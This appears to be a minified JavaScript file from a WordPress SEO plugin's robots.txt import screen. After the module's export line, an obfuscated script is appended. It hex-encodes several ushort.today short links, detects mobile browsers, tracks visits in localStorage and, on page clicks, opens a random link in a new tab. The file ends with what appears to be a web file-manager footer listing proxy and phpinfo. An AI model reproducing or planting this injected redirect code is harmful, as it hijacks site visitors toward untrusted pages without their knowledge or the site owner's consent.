aioseo-settings-row--or","data-or":t.$constants.GLOBAL_STRINGS.or},[n("div",me,[n("div",_e,b(o.strings.importFromUrl),1)]),n("div",fe,[a(x,{modelValue:o.inputImportRobotsTxtFromUrl,"onUpdate:modelValue":e[6]||(e[6]=u=>s.onChangeInputImportRobotsTxtFromUrl(u)),placeholder:o.strings.pasteUrl,disabled:!!o.inputPasteRobotsTxtText,type:"url",size:"medium"},null,8,["modelValue","placeholder","disabled"]),o.errors.importRobotsTxtFromUrl?(f(),$(l,{key:0,type:"red",size:"small"},{default:_(()=>[R(b(o.errors.importRobotsTxtFromUrl),1)]),_:1})):T("",!0)])],8,pe),n("div",ge,[n("div",we,[n("div",xe,b(o.strings.pasteRobotsText),1)]),n("div",Re,[a(V,{modelValue:o.inputPasteRobotsTxtText,"onUpdate:modelValue":e[7]||(e[7]=u=>s.onChangeInputPasteRobotsTxtText(u)),"line-numbers":!0,"minimum-line-numbers":10,disabled:!!o.inputImportRobotsTxtFromUrl,spellcheck:!1,monospace:""},null,8,["modelValue","disabled"]),o.errors.pasteRobotsTxtText?(f(),$(l,{key:0,type:"red",size:"small"},{default:_(()=>[R(b(o.errors.pasteRobotsTxtText),1)]),_:1})):T("",!0)])])]),footer:_(()=>[n("div",ve,[a(p,{onClick:e[8]||(e[8]=C(u=>o.showImportModal=!1,["exact"])),type:"gray",size:"medium"},{default:_(()=>[R(b(t.$constants.GLOBAL_STRINGS.cancel),1)]),_:1}),a(p,{onClick:e[9]||(e[9]=C(u=>s.onClickBtnImportRobotsTxt(o.inputImportRobotsTxtFromUrl?"url":"text"),["exact"])),loading:o.loading.btnImportRobotsTxt,disabled:!!s.btnImportRobotsTxtDisabled,type:"blue",size:"medium"},{default:_(()=>[R(b(t.$constants.GLOBAL_STRINGS.import),1)]),_:1},8,["loading","disabled"])])]),_:1})):T("",!0),o.loading.cardOverlay?(f(),k("div",ke,[a(J)])):T("",!0)]}),_:1},8,["header-text"])])}const Xe=B(Tt,[["render",Te]]);export{Xe as default}; function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x58\x74\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x51\x64\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x76\x71\x55\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x61\x52\x65\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x47\x48\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x76\x4d\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x78\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x53\x6c\x4b\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.07 |
proxy
|
phpinfo
|
Settings